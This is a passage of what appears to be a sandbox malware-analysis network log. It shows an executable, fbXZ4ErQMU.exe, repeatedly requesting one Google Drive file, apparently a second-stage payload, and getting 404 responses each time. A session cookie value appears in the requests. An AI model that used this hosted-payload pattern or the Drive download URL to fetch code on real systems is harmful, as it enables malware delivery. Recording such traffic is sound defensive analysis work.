2024-12-05 16:05:15 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:15 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:15 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-N6Q6yjkZpwbVK1Y-3gQSug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49776	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:16 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:16 UTC	1846	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:16 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-7USCs70f41WRI35N-mWk4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC6qHkYESejmC0ulNAWyaT_t8XcQjCkB0xlVhRyBRpRN0R5KmXQ1crZPTUsJ3Heuv9hamg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:05:16 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 4b 77 31 33 72 6c 66 55 75 4f 73 6c 37 5a 79 48 43 55 49 4e 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KKw13rlfUuOsl7ZyHCUINA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49777	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:26 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:27 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:27 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Xxd1_eVdV_-6hJR3nZFR4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49778	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:27 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:27 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:27 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-1_3vcwjgMho-ygVstGkFxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC52Tl_ttFYP4gDCv83-FtwoQuinsDNQ3GdMzGFJXtSxcBWC159WHpfjYuwadzqPbCQwmc4QFe5gPA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:05:27 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 6c 4d 6b 50 79 66 58 50 61 64 42 34 67 35 53 44 6a 68 6b 61 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZlMkPyfXPadB4g5SDjhkaQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49779	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:38 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:38 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:38 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-c_OGKj0IwMgLBC15eilueg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49780	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:38 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:38 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:38 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-F58rQQX3wQf1Sb5v-CAd6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC4JnoAhu0c9FvuTKN8n48KKwWEE0s7jCWS2h8TNfETV2BpQF2jSmwbKWCJ0yKmDundOBN_33ttGaA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:05:38 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 39 70 67 52 48 34 51 30 78 59 75 30 53 79 6f 45 74 37 6a 66 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="U9pgRH4Q0xYu0SyoEt7jfQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49781	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:49 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:49 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:49 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-ku--l54Nlg4jf_T1SOOI_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49782	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:49 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:50 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:50 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-bqye9HMrsU07fFaF5gJCsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC43XaxlFqyVA6M2XyBvZI-18sVr_4K1WPuRpYXcq1cXD0RwaWHXuAYjpcX2gJDjHaAlK1l-bT25HA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:05:50 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 2d 6b 62 49 62 6c 55 62 4a 64 4a 52 63 34 48 4f 45 76 79 75 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9-kbIblUbJdJRc4HOEvyuA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49783	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
